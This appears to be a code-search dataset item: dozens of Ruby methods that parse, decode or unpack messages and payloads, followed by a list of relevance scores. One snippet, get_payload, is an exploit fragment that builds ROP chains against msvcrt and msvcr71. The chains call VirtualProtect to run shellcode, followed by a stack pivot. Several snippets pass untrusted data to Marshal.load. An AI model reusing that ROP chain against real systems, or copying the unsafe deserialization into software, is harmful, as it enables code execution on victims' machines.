"def extract_message(input)\n sender = nil\n content = nil\n is_action = false\n \n stripped = input.strip\n if stripped[0...1] == '*' # action\n is_action = true\n stripped = stripped[1..-1].split(' ')\n sender = stripped[0]\n content = stripped[1..-1].join(' ')\n else\n scanned = /<([^>]*)> (.*)/.match(stripped)\n sender = scanned[1].strip\n content = scanned[2]\n end\n \n [{:ident => sender, :name => sender, :host => nil}, content, is_action]\n end",
"def get_data\n return @data.unpack(\"S>*\")\n end",
"def unpack\nraw_bytes.unpack \"NnnCCa6\"\nend",
"def parse_body(buffer)\n super(buffer)\n @topic = shift_string(buffer)\n @id = shift_short(buffer) unless qos.zero?\n @payload = buffer\n end",
"def payload\n # TODO(sissel): Handle massive payload lengths without exceeding memory.\n # Perhaps if the payload is large (say, larger than 500KB by default),\n # instead of returning the whole thing, simply return an Enumerable that\n # yields chunks of the payload. There's no reason to buffer the entire\n # thing. Have the consumer of this library make that decision.\n data = get(@need)\n transition(:flags_and_opcode, 1)\n if @masked\n return unmask(data, @mask)\n else\n return data\n end\n end",
"def messages_payload\n messages.order(created_at: :desc).includes(:user).map do |message|\n {\n message_id: message.id,\n username: message.user.username,\n channel_name: message.channel.name,\n content: message.content,\n created_at: message.created_at\n }\n end\n end",
"def deserialize_marshalled_body( txn )\n\t\treturn Marshal.load( txn )\n\tend",
"def receive\n parse(recv)\n end",
"def parse_payload(json)\n JSON.parse(json)\n end",
"def read_message(s)\n if buffer = s.read(4) and buffer.size == 4\n length = buffer.unpack('N').first\n begin\n str = s.read length\n message = Riemann::Message.decode str\n rescue => e\n puts \"Message was #{str.inspect}\"\n raise\n end\n\n unless message.ok\n puts \"Failed\"\n raise ServerError, message.error\n end\n\n message\n else\n raise InvalidResponse, \"unexpected EOF\"\n end\n end",
"def hash_to_message(data)\n klass = Hastur::Message.symbol_to_class(data[:type])\n\n # if no UUID is provided, set one in the message payload\n data[:uuid] ||= @uuid\n\n payload = MultiJson.dump(data)\n klass.new :from => @uuid, :payload => payload\n end",
"def decode!(data)\n @value, @types, @rest = self.decode(data)\n end",
"def deserialize(msg)\n serializer = @config.pluginconf[\"ssl_serializer\"] || \"marshal\"\n\n Log.debug(\"De-Serializing using #{serializer}\")\n\n case serializer\n when \"yaml\"\n if YAML.respond_to? :safe_load\n return YAML.safe_load(msg, [Symbol, Regexp])\n else\n raise \"YAML.safe_load not supported by Ruby #{RUBY_VERSION}. Please update to Ruby 2.1+.\"\n end\n else\n return Marshal.load(msg)\n end\n end",
"def unpack\n @data.unpack('A4cN') \n end",
"def deserialize(message, stream)\n raise NotImplementedError\n end",
"def decode(data)\n null = data.index(0x00)\n value = data.unpack(\"a#{null}\")[0]\n data = data.slice(null+1, data.length)\n \n n = 0\n types = []\n @lengths.each do |l|\n types[n] = data.unpack(\"#{punpack_string(l)}\")[0]\n data = data.slice(l, data.length)\n n += 1\n end\n\n [value, types, data]\n end",
"def extract_message(msg)\n case msg['event']\n when \"playerStateChange\", \"playerQualityChange\", \"playerReady\", \"pageLoaded\"\n @events << ProbeEvent.new(msg['event'], msg['timestamp'], msg['data'])\n when \"videoDuration\"\n @video_duration = msg['data'].to_i\n when \"finished\"\n calculate_results\n # TODO what to do with the probe?\n # close the page?\n end\n end",
"def payload\n deserialize_json(body)\n end",
"def unpack\n if ! @unpacked && @sec_buffer && @struct\n dataBufferSize, dType, dataBuffer, tokenBufferSize, tType, tokenBuffer = @sec_buffer.unpack(\"LLPLLP\")\n dataBufferSize, dType, dataBuffer, tokenBufferSize, tType, tokenBuffer = @sec_buffer.unpack(\"LLP#{dataBufferSize}LLP#{tokenBufferSize}\")\n # Form the buffer stream as required by server\n @buffer = [tokenBufferSize].pack(\"L\")\n @buffer << tokenBuffer << dataBuffer\n @struct = nil\n @sec_buffer = nil\n @unpacked = true\n end\n end",
"def deserialize(message, _stream)\n ::JSON.parse(message)\n end",
"def data\n raise RuntimeError, 'No raw data set' unless @raw\n\n header, @chunk_id, @chunk_count, crc32, b = Payload.decode(@raw).unpack('a4LLLa*')\n\n raise FormatError unless header == HEADER\n raise ChecksumError unless Zlib.crc32(b) == crc32\n\n b\n end",
"def parse(message)\n station = message.topic.gsub('#', '').gsub('bbc/livetext/', '')\n {\n :station_id => station,\n :text => message.payload,\n :received => Time.now\n }\n end",
"def unpack(value)\n throw \"Not implemented\"\n end",
"def parse(payload)\n parse_action(payload)\n end",
"def test_message_payload\n sm = StateMachine.new\n ApMessageIo.new(state_machine: sm)\n sm.execute\n\n # Startup, write a shutdown message and wait for exit\n assert(wait_for_run_phase('RUNNING', sm, 10))\n write_message_file(sm.query_property('in_pending'), 'SYS_NORMAL_SHUTDOWN')\n assert(wait_for_run_phase('SHUTDOWN', sm, 10))\n\n # Assert we set the payload in the state-machine table from the message file\n assert(sm.execute_sql_query('select payload from state_machine' \\\n ' where flag = \\'SYS_NORMAL_SHUTDOWN\\';')[0][0] ==\n '{ \"test\": \"value\" }')\n\n # Assert the payload is written into the messages table\n assert(sm.execute_sql_query('select payload from messages ' \\\n 'where action = \\'SYS_NORMAL_SHUTDOWN\\';')[0][0] ==\n '{ \"test\": \"value\" }')\n end",
"def serialize(message)\n message.to_msgpack\n end",
"def parse_msg(rawmsgstr)\n Hash.from_xml(rawmsgstr)\n end",
"def payload\n return @payload if @payload\n \n payload_class = if (@flags & 0x40) == 0x40\n Dot11WEP\n elsif @type == 0\n [ Dot11AssoReq, Dot11AssoResp, Dot11ReassoReq, Dot11ReassoResp, Dot11ProbeReq, Dot11ProbeResp, nil, nil,\n Dot11Beacon, Dot11ATIM, Dot11Disas, Dot11Auth, Dot11Deauth, nil, nil, nil,\n nil, nil, nil, nil, nil, nil, nil, nil,\n nil, nil, nil, nil, nil, nil, nil ][@subtype]\n elsif @type == 2\n if @subtype == 0\n Dot11Data\n elsif @subtype == 4\n Dot11NullData\n end \n end\n \n return nil if payload_class.nil?\n \n @payload = payload_class.new(@rest) unless (payload_class == Dot11NullData || @rest.nil? || @rest.empty?)\n end",
"def decode(payload)\n map45_chars(payload).each_slice(3).flat_map do |c, d, e|\n c && d or raise ForbiddenLengthError\n v = c + d * 45\n bytes_from_base45(e, v)\n end.pack(\"C*\")\n end",
"def read_message! bytes, state=nil\n begin\n do_read_message! bytes, state\n rescue\n nil\n end\n end",
"def decode_launchitem( msg )\n hash = Ruote::Json.decode( msg )\n opts = {}\n definition = hash.delete('definition')\n fields = hash.delete('fields') || {}\n\n ::Ruote::Launchitem.new( definition, fields )\n end",
"def parse_body(buffer)\n @id = shift_short(buffer)\n while(buffer.bytesize>0)\n @return_codes << shift_byte(buffer)\n end\n # puts \"subacks #{@return_codes.inspect}\"\n end",
"def decode(data, schema_name: nil, namespace: @namespace)\n decode_message(data, schema_name: schema_name, namespace: namespace).message\n end",
"def parse_message message\n message.split(\"=>\").map { |i| i.strip }\n end",
"def message_content\n JSON.parse(body).with_indifferent_access\n end",
"def unpack\n if ! @unpacked && @sec_buffer && @struct\n dataBufferSize, dType, dataBuffer, tokenBufferSize, tType, tokenBuffer = @sec_buffer.unpack(\"LLPLLP\")\n dataBufferSize, dType, dataBuffer, tokenBufferSize, tType, tokenBuffer = @sec_buffer.unpack(\"LLP#{dataBufferSize}LLP#{tokenBufferSize}\")\n @buffer = dataBuffer\n @struct = nil\n @sec_buffer = nil\n @unpacked = true\n end\n end",
"def unpack_message(str)\n\t\treturn str.split(\",\").collect {|x| x.to_i}\n\tend",
"def parse(incoming_payload, user_data)\n @incoming_payload = incoming_payload\n parse_payload!(user_data)\n end",
"def set_fields_from_hash(message)\n @sender = message['fromUuid'] || ''\n @payload = message['payload'] || {}\n @message_type = payload['message_type'].to_s.downcase || ''\n @time_stamp = payload['time_stamp'] || nil\n @handled = false\n end",
"def parse(buf)\n return nil if buf.size < 9\n frame = readCommonHeader(buf)\n return nil if buf.size < 9 + frame[:length]\n\n buf.read(9)\n payload = buf.read(frame[:length])\n\n case frame[:type]\n when :data\n frame[:payload] = payload.read(frame[:length])\n when :headers\n if frame[:flags].include? :priority\n frame[:priority] = payload.read_uint32 & RBIT\n end\n frame[:payload] = payload.read(frame[:length])\n when :priority\n frame[:priority] = payload.read_uint32 & RBIT\n when :rst_stream\n frame[:error] = unpack_error payload.read_uint32\n\n when :settings\n frame[:payload] = {}\n (frame[:length] / 8).times do\n id = payload.read_uint32 & RBYTE\n val = payload.read_uint32\n\n # Unsupported or unrecognized settings MUST be ignored.\n name, _ = DEFINED_SETTINGS.select { |name, v| v == id }.first\n frame[:payload][name] = val if name\n end\n when :push_promise\n frame[:promise_stream] = payload.read_uint32 & RBIT\n frame[:payload] = payload.read(frame[:length])\n when :ping\n frame[:payload] = payload.read(frame[:length])\n when :goaway\n frame[:last_stream] = payload.read_uint32 & RBIT\n frame[:error] = unpack_error payload.read_uint32\n\n size = frame[:length] - 8\n frame[:payload] = payload.read(size) if size > 0\n when :window_update\n frame[:increment] = payload.read_uint32 & RBIT\n when :continuation\n frame[:payload] = payload.read(frame[:length])\n end\n\n frame\n end",
"def raw_to_hastur_message(data)\n if jmsg = Hastur::Input::JSON.decode(data)\n _send hash_to_message(jmsg)\n elsif smsg = Hastur::Input::Statsd.decode(data)\n _send hash_to_message(smsg)\n elsif cmsg = Hastur::Input::Collectd.decode(data)\n # collectd packets usually contain multiple values, break them up\n cmsg.each do |msg|\n _send hash_to_message(msg)\n end\n else\n raise Hastur::UnsupportedError.new \"Cannot determine type of raw message: '#{data}'\"\n end\n end",
"def read_payload\n ascii_str = File.read(\"/dev/urandom\", @bytes_to_read)\n utf8_str = ascii_to_utf8(ascii_str)\n formatted_str = format_string(utf8_str)\n @payload = formatted_str\n end",
"def decode(string)\n Marshal.load(string.unpack('m').first)\n end",
"def decode(src)\n doc = REXML::Document.new(src)\n performative = doc.root.attributes[\"act\"]\n msg = Message.new(:performative => performative)\n msg.conversation_id = doc.root.attributes[\"conversation-id\"]\n receiver_elt = doc.root.elements[\"receiver\"]\n receiver_elt.each_element(\"agent-identifier\") do |aid_elt|\n msg.receivers << agent_identifier_from_xml(aid_elt)\n end\n sender_elt = doc.root.elements[\"sender\"]\n aid_elt = sender_elt.elements[\"agent-identifier\"]\n msg.sender = agent_identifier_from_xml(aid_elt)\n msg.content = doc.root.elements[\"content\"].attributes[\"href\"]\n msg.language = doc.root.elements[\"language\"].attributes[\"href\"]\n msg.encoding = doc.root.elements[\"encoding\"].attributes[\"href\"]\n msg.ontology = doc.root.elements[\"ontology\"].attributes[\"href\"]\n msg.protocol = doc.root.elements[\"protocol\"].attributes[\"href\"]\n msg.reply_with = doc.root.elements[\"reply-with\"].attributes[\"href\"]\n msg.in_reply_to = doc.root.elements[\"in-reply-to\"].attributes[\"href\"]\n msg.reply_by = ReplyBy.new(doc.root.elements[\"reply-by\"].attributes[\"time\"], doc.root.elements[\"reply-by\"].attributes[\"href\"])\n reply_to_elt = doc.root.elements[\"reply-to\"]\n reply_to_elt.each_element(\"agent-identifier\") do |aid_elt|\n msg.reply_to << agent_identifier_from_xml(aid_elt)\n end\n msg.conversation_id = doc.root.elements[\"conversation-id\"].attributes[\"href\"]\n msg\n end",
"def peek\n return nil if empty?\n _decode_message(self.first)\n end",
"def unmarshall_buffer(buf)\n buf = buf.dup\n if buf[0] == ?l\n endianness = LIL_END\n else\n endianness = BIG_END\n end\n pu = PacketUnmarshaller.new(buf, endianness)\n dummy, @message_type, @flags, @protocol, @body_length, @serial,\n headers = pu.unmarshall(MESSAGE_SIGNATURE)\n headers.each do |struct|\n case struct[0]\n when PATH\n @path = struct[1]\n when INTERFACE\n @interface = struct[1]\n when MEMBER\n @member = struct[1]\n when ERROR_NAME\n @error_name = struct[1]\n when REPLY_SERIAL\n @reply_serial = struct[1]\n when DESTINATION\n @destination = struct[1]\n when SENDER\n @sender = struct[1]\n when SIGNATURE\n @signature = struct[1]\n end\n end\n pu.align(8)\n if @body_length > 0 and @signature\n @params = pu.unmarshall(@signature, @body_length)\n end\n [self, pu.idx]\n end",
"def get_payload(t)\n\t\t# chain generated by mona.py - See corelan.be\n\t\tcase t['Rop']\n\t\twhen :msvcrt\n\t\t\trop =\n\t\t\t[\n\t\t\t\t0x77c4e392, # POP EAX # RETN\n\t\t\t\t0x77c11120, # <- *&VirtualProtect()\n\t\t\t\t0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN\n\t\t\t\tjunk,\n\t\t\t\t0x77c2dd6c,\n\t\t\t\t0x77c4ec00, # POP EBP # RETN\n\t\t\t\t0x77c35459, # ptr to 'push esp # ret'\n\t\t\t\t0x77c47705, # POP EBX # RETN\n\t\t\t\t0x00000800, # <- change size to mark as executable if needed (-> ebx)\n\t\t\t\t0x77c3ea01, # POP ECX # RETN\n\t\t\t\t0x77c5d000, # W pointer (lpOldProtect) (-> ecx)\n\t\t\t\t0x77c46100, # POP EDI # RETN\n\t\t\t\t0x77c46101, # ROP NOP (-> edi)\n\t\t\t\t0x77c4d680, # POP EDX # RETN\n\t\t\t\t0x00000040, # newProtect (0x40) (-> edx)\n\t\t\t\t0x77c4e392, # POP EAX # RETN\n\t\t\t\tnop, # NOPS (-> eax)\n\t\t\t\t0x77c12df9, # PUSHAD # RETN\n\t\t\t].pack(\"V*\")\n\n\t\twhen :jre\n\t\t\trop =\n\t\t\t[\n\t\t\t\t0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN\n\t\t\t\t0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)\n\t\t\t\t0x7c347f98, # RETN (ROP NOP)\n\t\t\t\t0x7c3415a2, # JMP [EAX]\n\t\t\t\t0xffffffff,\n\t\t\t\t0x7c376402, # skip 4 bytes\n\t\t\t\t0x7c351e05, # NEG EAX # RETN\n\t\t\t\t0x7c345255, # INC EBX # FPATAN # RETN\n\t\t\t\t0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN\n\t\t\t\t0x7c344f87, # POP EDX # RETN\n\t\t\t\t0xffffffc0, # Value to negate, will become 0x00000040\n\t\t\t\t0x7c351eb1, # NEG EDX # RETN\n\t\t\t\t0x7c34d201, # POP ECX # RETN\n\t\t\t\t0x7c38b001, # &Writable location\n\t\t\t\t0x7c347f97, # POP EAX # RETN\n\t\t\t\t0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]\n\t\t\t\t0x7c378c81, # PUSHAD # ADD AL,0EF # RETN\n\t\t\t\t0x7c345c30, # ptr to 'push esp # ret '\n\t\t\t].pack(\"V*\")\n\t\tend\n\n\t\tcode = rop\n\t\tcode << make_nops(38)\n\t\tcode << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $+0x6\").encode_string # instr length: 2 bytes\n\t\tcode << [t.ret].pack(\"V\") # Stack Pivot\n\t\tcode << payload.encoded\n\n\t\treturn code\n\tend",
"def receive\n begin\n paylaod_length = Protocol::Common::DataTypes::Uint32.decode(@io_in)\n rescue NoMethodError\n nil\n else\n payload = @io_in.read(paylaod_length)\n if payload.nil? || payload.bytesize != paylaod_length\n nil\n else\n payload\n end\n end\n end",
"def payload\n @payload\n end",
"def prepare_payload(pld)\n pld\n end",
"def message_params\n m = params.require(:message)\n js = JSON.parse(m).with_indifferent_access\n res = js.slice(:context, :topic, :body, :begun_at, :success_at, :failed_at)\n res\n end",
"def unpacker\n @unpacker ||= MessagePack::Unpacker.new(socket)\n end",
"def on_incoming_message(msg)\n type = msg.operation\n debug \"(#{id}) Deliver message '#{type}': #{msg.inspect}\"\n htypes = [type, :message]\n if type == :inform\n # TODO keep converting itype is painful, need to solve this.\n if (it = msg.itype(:ruby)) # format itype as lower case string\n case it\n when \"creation_ok\"\n htypes << :create_succeeded\n when 'status'\n htypes << :inform_status\n end\n\n htypes << it.to_sym\n end\n end\n\n debug \"(#{id}) Message type '#{htypes.inspect}' (#{msg.class}:#{msg.cid})\"\n hs = htypes.map { |ht| (@handlers[ht] || {}).values }.compact.flatten\n debug \"(#{id}) Distributing message to '#{hs.inspect}'\"\n hs.each do |block|\n block.call msg\n end\n if cbk = @context2cbk[msg.cid.to_s]\n debug \"(#{id}) Distributing message to '#{cbk.inspect}'\"\n cbk[:last_used] = Time.now\n cbk[:block].call(msg)\n end\n end",
"def decode\n @decode ||= Multihashes.decode([content_addressable].pack('H*'))\n end"
] |
[
"0.7314567",
"0.713374",
"0.7129427",
"0.7116729",
"0.6825474",
"0.6770678",
"0.667089",
"0.65106803",
"0.6501799",
"0.64946806",
"0.6491785",
"0.64655906",
"0.63972276",
"0.6341313",
"0.63041073",
"0.62627095",
"0.6249634",
"0.6203068",
"0.6176558",
"0.612166",
"0.60885435",
"0.6078011",
"0.6077071",
"0.5995215",
"0.598524",
"0.5968439",
"0.59621227",
"0.5935395",
"0.5913334",
"0.5878309",
"0.5852166",
"0.5848708",
"0.582682",
"0.58139664",
"0.5808646",
"0.5782352",
"0.57482237",
"0.57407486",
"0.57402915",
"0.57328814",
"0.5731089",
"0.57309204",
"0.5718335",
"0.5707336",
"0.5698828",
"0.5687163",
"0.56840974",
"0.56604254",
"0.5648616",
"0.5635547",
"0.56260693",
"0.56222826",
"0.5604376",
"0.5594564",
"0.55864215",
"0.55702305",
"0.55679524",
"0.5566707",
"0.55662817",
"0.5565463",
"0.55612296",
"0.5544464",
"0.5542657",
"0.5527068",
"0.55041575",
"0.5490692",
"0.54801834",
"0.54653144",
"0.5460022",
"0.54515433",
"0.5450496",
"0.54368925",
"0.5434242",
"0.54267645",
"0.5424573",
"0.54224515",
"0.54221094",
"0.542122",
"0.540331",
"0.5402218",
"0.5402051",
"0.53934836",
"0.53813916",
"0.53779656",
"0.5370578",
"0.5369509",
"0.53679025",
"0.5366534",
"0.5365789",
"0.5357238",
"0.5351887",
"0.53498995",
"0.5348838",
"0.53373486",
"0.5320338",
"0.5319314",
"0.5314944",
"0.5313121",
"0.5311056",
"0.52922106"
] |
0.6682284
|
6
|
Detect message style based on structure
|
def determine_style(m)
begin
case m[:source].to_s
when m.start_with?('Carnivore::Source::Http')
:http
else
m[:source].class.to_s.split('::').last.downcase.to_sym
end
rescue
:unknown
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def correct_style_detected; end",
"def correct_style_detected; end",
"def correct_style_detected; end",
"def opposite_style_detected; end",
"def opposite_style_detected; end",
"def opposite_style_detected; end",
"def message_types\n {\n create: [:light_cyan, :cyan],\n store: [:light_cyan, :cyan],\n update: [:light_cyan, :cyan],\n reset: [:light_cyan, :cyan],\n\n event: [:light_magenta, :magenta],\n\n timer: [:light_blue, :blue],\n\n info: [:white, :light_grey],\n test: [:white, :light_grey],\n debug: [:white, :light_grey],\n\n input: [:light_yellow, :yellow],\n output: [:light_green, :green],\n\n error: [:light_red, :red],\n\n config: [:light_blue, :blue],\n dsl: [:light_blue, :blue],\n editor: [:light_blue, :blue],\n drb: [:light_blue, :blue],\n }\n end",
"def format?\n # if :custom\n if self.conventional?\n :conventional\n elsif self.relaxed?\n :relax\n elsif self.redacted?\n :redacted\n elsif self.standard?\n :standard\n else\n :invalid\n end\n end",
"def is_text_message?\n type == 'TextMessage'\n end",
"def detected_styles; end",
"def style_types\n %w( primary success info )\n end",
"def formatted_message\n case @text_align\n when :center\n align_center\n when :left\n @message\n when :right\n align_right\n end\n end",
"def reserve_format\n Pwfmt::Context.reserve_format('message_content', @message.content) if @message.respond_to?(:content)\n end",
"def detect_style(dtok)\n style = nil\n case dtok.value\n when /\\A\\s*\\[\\*([a-zA-Z0-9_]+)\\*\\]\\s*(.*)\\z/\n style = 'doc'\n when /\\A\\s*\\$([a-zA-Z0-9_]+):: +(.*)\\z/\n style = 'kafo'\n when /\\A\\s*@param (?:\\[.+\\] )?([a-zA-Z0-9_]+)(?: +|$)(.*)\\z/\n style = 'strings'\n end\n [style, * $~]\n end",
"def write_message?(level_of_message); end",
"def parse_mode(msg, explicit = false, null = false)\n !!msg[/\\brace\\b/i] ? 'race' : (!!msg[/\\bcoop\\b/i] ? 'coop' : (explicit ? 'solo' : (!!msg[/\\bsolo\\b/i] ? 'solo' : (null ? nil : 'all'))))\nend",
"def process_messages(type)\n message_hash = {\n '_correct' => [\n 'Correct!',\n 'That\\'s right',\n 'Nice, good choice!',\n 'A fine letter you picked',\n 'Thumbs up from me'\n ],\n '_incorrect' => [\n 'Not quite the right guess...',\n 'Getting closer... I hope anyway',\n 'Nope, not what I\\'m looking for',\n 'A compeltely different letter would have done the trick.'\n ],\n '_invalid' => [\n 'That guess is simply unacceptable! Humph.',\n 'Ensure you\\'re typing unused letters only or save',\n 'Input invalid. Beep boop.',\n 'Executioner: invalid input huh... this player isn\\'t takin\\' us seriously. Best sort \\'im out.'\n ],\n '_serialise' => ['Serialising...', 'Saving...', 'Committing your performance to memory!']\n }\n to_print = message_hash[type].sample\n message_colour(type, to_print)\n end",
"def parse_cool(msg, strict = false)\n !!msg[/\\bcool(s|(ness))?\\b/i] || !!msg[/\\bckc'?s?\\b/i] || !!msg[/#{strict ? \"(\\A|\\W)\" : \"\"}😎'?s?#{strict ? \"(\\z|\\W)\" : \"\"}/i]\nend",
"def best_selling_style\n style = nil\n if self.group_size <= 4\n style = \"knowledgeable\"\n elsif self.group_size >4 && self.group_size <= 8\n style = \"attention to detail\"\n elsif self.group_size > 8\n style =\"pushy\"\n end\n style\n end",
"def bigger_text?\n @style.anybits?(0x04)\n end",
"def tokenizer_event_detailed_header_style\n TokenExtractor.new(\n :style,\n / *(stile libero|stile|misti|dorso|rana|farfalla|SL|DO|RA|FA|MI|MX|ST|DF|DS|RN)/i,\n /\\s+(\\r\\n|\\r|- Master)/i\n )\n end",
"def format_message(type, message, opts=nil)\n # Get the format of the message before adding color.\n message = super\n\n # Colorize the message if there is a color for this type of message,\n # either specified by the options or via the default color map.\n if opts.has_key?(:color)\n color = COLORS[opts[:color]]\n message = \"#{color}#{message}#{COLORS[:clear]}\"\n else\n message = \"#{COLOR_MAP[type]}#{message}#{COLORS[:clear]}\" if COLOR_MAP[type]\n end\n\n message\n end",
"def use_style?\n end",
"def message_is_a?(type, message)\n type = type.split('_').map(&:capitalize).join\n\n message_type(message) == type\n end",
"def is_character_style?\n true\n end",
"def expect_message(type); end",
"def format(message, colour = nil, style = nil)\n c = @map[:colour][colour.to_sym] unless colour.nil?\n\n if style.nil?\n t = 0\n else\n t = @map[:style][style.to_sym]\n end\n\n \"\\e[#{t};#{c}m#{message}\\e[0m\"\n end",
"def log_message_matching_type(message_type, log_message)\n match_data = /^\\s+#{message_type}\\s+(.*)/.match(log_message)\n if match_data\n json_info = match_data[1]\n\n parsed_data = JSON.parse(json_info)\n parsed_data if parsed_data.has_key?('headers') && parsed_data.has_key?('body')\n end\nend",
"def check_format_rules(line_number, line)\n conventional_commit_conventions = [ 'feat(.*): ', 'fix(.*): ', 'chore(.*): ', 'install(.*): ', 'improvement(.*): ', 'ci(.*): ', 'ui(.*): ', 'style(.*): ' ] \n conventional_commit_check = conventional_commit_conventions.map{|x| line.match(x)}.compact\n errors = []\n if conventional_commit_check.empty?\n unless line.include?('HOTFIX')\n return errors << \"Error : Your commit message seems like not following conventional commit rules, please check your commit's convention\"\n end\n end\n errors << \"Error : Your commit message contains #{line.length} characters. Commit message should be less than 72 characters in length.\" if line.length > 72\n errors << \"Error : Your subject contains #{line.split(':')[1].length} characters. Subject should be less than 50 characters\" if line.split(':')[1].length > 50\n errors << \"Error : Commit message subject should start in Capital.\" if line.split(':')[1].lstrip[0] == line.split(':')[1].lstrip[0].downcase\n return errors\nend",
"def split_msg(msg)\n sub_end = MAX_CHAR - 5\n # Goes back to start of word if matches inside a word. If it matches inside a coloured key go back to start of word before colour\n # Remove starting whitespace. Sometimes creates empty array indice so remove if length isn't long enough\n arr = msg.scan(/.{0,#{Regexp.escape(sub_end.to_s)}}[\\\\033\\[0-90-9m\\w\\\\e\\[0m\\ ]{0}(?:\\ |$)/mi).select { |s| s.length > 1 }.each { |n| n.slice!(0) if n[0] == \" \"}\n end",
"def tokenizer_event_summary_header_style\n TokenExtractor.new(\n :style,\n / *(stile libero|stile|misti|dorso|rana|farfalla|SL|DO|RA|FA|MI|MX|ST|DF|DS|RN)/i,\n /\\s+(\\r\\n|\\r|- Master)/i\n )\n end",
"def style\n defined?(@style) ? @style : 0\n end",
"def get_message_types; end",
"def get_message_types; end",
"def allows_style?\n true\n end",
"def format_message\n return @format_message if @format_message\n\n @format_message = self.message.dup\n\n if self.line\n @format_message << \" near line #{self.line}\"\n end\n\n if self.code\n @format_message << \": #{format_code}\"\n end\n\n @format_message\n end",
"def is_paragraph_style?\n true\n end",
"def processRegularUserMessage(message)\r\n return formatMessageText(message[:message])\r\n end",
"def is_text_message?(message)\n !message.text.nil?\nend",
"def valid_message?(message)\n !!catch_and_ignore(:invalid_message_format) { extract_encoded(message) }\n end",
"def color\n if not @title\n 'blank'\n elsif @warnings\n 'missing'\n elsif @missing\n 'missing'\n elsif @approved\n if @approved.length < 5\n 'ready'\n elsif @comments\n 'commented'\n else\n 'reviewed'\n end\n elsif @text or @report\n 'available'\n elsif @text === undefined\n 'missing'\n else\n 'reviewed'\n end\n end",
"def text(msg=\"\", nested=false)\n @last_msg = \"\"\n @last_lvl = nil\n\n msg = \"\\n#{msg}\\n \\n\" unless nested\n\n if msg.include?(\"\\n\")\n msg.split(\"\\n\").each do |line|\n text(line, true)\n end\n return\n end\n\n message = colorize(msg, :white, :black, true)\n blocks = colorize(\" \", :black, :white)\n\n puts \"#{blocks} #{message}\"\n end",
"def stylized?\n !text_color.nil? || !background_color.nil? || !text_style.nil?\n end",
"def is_format?(); @type == GRT_FORMAT; end",
"def human_message_type\n self[:message_type].to_human\n end",
"def message_type\n @message_type ||= \"message\"\n end",
"def message_class\n return Scene_Battle::Message\n end",
"def has_style?(style)\n @styles.include? style\n end",
"def correct_format?\n\t\t\tvalid = true\n\n\t\t if self.color.kind_of?(String)\n\t\t\t\tvalid = !!HSL.regular_expression.match(self.color)\n\t\t\tend\n\n\t\t\tvalid && self.h.between?(0, 360) && self.s.between?(0, 1) && self.l.between?(0, 1)\n\t\tend",
"def get_message_specifications\n\t\tend",
"def stream_style\n return interface.style if name\n\n default[:style]\n end",
"def detected_styles=(_arg0); end",
"def format_message\n message = Message.new\n\n message.id = @id\n message.text = @raw_data['text'] ||= ''\n media = @raw_data['media']\n message.type = media ? media['type'] : 'text'\n message.raw_from = @raw_data['from']['peer_id']\n message.from_type = @raw_data['from']['peer_type']\n message.raw_to = @raw_data['to']['peer_id']\n message.to_type = @raw_data['to']['peer_type']\n\n from = @client.contacts.find { |c| c.id == message.raw_from }\n to = @client.contacts.find { |c| c.id == message.raw_to }\n to = @client.chats.find { |c| c.id == message.raw_to } if to.nil?\n\n message.from = from\n message.to = to\n\n @message = message\n\n if @message.from.nil?\n user = @raw_data['from']\n user = TelegramContact.pick_or_new(@client, user)\n @client.contacts << user unless @client.contacts.include?(user)\n @message.from = user\n end\n\n if @message.to.nil?\n type = @raw_data['to']['peer_type']\n case type\n when 'chat', 'encr_chat'\n chat = TelegramChat.pick_or_new(@client, @raw_data['to'])\n @client.chats << chat unless @client.chats.include?(chat)\n if type == 'encr_chat' then\n @message.to = chat\n else\n @message.from = chat\n end\n when 'user'\n user = TelegramContact.pick_or_new(@client, @raw_data['to'])\n @client.contacts << user unless @client.contacts.include?(user)\n @message.to = user\n end\n end\n end",
"def good_message(message)\n return unless message[:service] == :groupme && message[:group]\n\n text = message[:text]\n attachments = message[:attachments]\n\n (text && !text.empty?) || !convert_attachments(attachments).empty?\n end",
"def rich_format?\n true\n end",
"def parse_string_fmt(fmt, strict: true)\n # We parse the more complex formatting constructs first, and after each\n # parse, we remove the matched construct from fmt. At the end, any\n # remaining characters in fmt should be invalid.\n fmt_hash = {}\n if fmt =~ /c\\[(?<co>#{CLR_RE})(\\.(?<bg>#{CLR_RE}))?\\]/\n fmt_hash[:color] = Regexp.last_match[:co] unless Regexp.last_match[:co].blank?\n fmt_hash[:bgcolor] = Regexp.last_match[:bg] unless Regexp.last_match[:bg].blank?\n validate_color(fmt_hash[:color])\n validate_color(fmt_hash[:bgcolor])\n fmt = fmt.sub($&, '')\n end\n # Nil formatting can apply to strings as well\n nil_hash, fmt = parse_nilclass_fmt(fmt)\n fmt_hash = fmt_hash.merge(nil_hash)\n if fmt =~ /u/\n fmt_hash[:case] = :lower\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /U/\n fmt_hash[:case] = :upper\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /t/\n fmt_hash[:case] = :title\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /(?<neg>~\\s*)?B/\n fmt_hash[:bold] = !Regexp.last_match[:neg]\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /(?<neg>~\\s*)?I/\n fmt_hash[:italic] = !Regexp.last_match[:neg]\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /R/\n fmt_hash[:alignment] = :right\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /C/\n fmt_hash[:alignment] = :center\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /L/\n fmt_hash[:alignment] = :left\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /(?<neg>~\\s*)?_/\n fmt_hash[:underline] = !Regexp.last_match[:neg]\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /(?<neg>~\\s*)?\\*/\n fmt_hash[:blink] = !Regexp.last_match[:neg]\n fmt = fmt.sub($&, '')\n end\n [fmt_hash, fmt]\n end",
"def getMsgClass(message)\r\n return isMyMessage(message) ? \"userMessage-Me\" : \"userMessage-Them\"\r\n end",
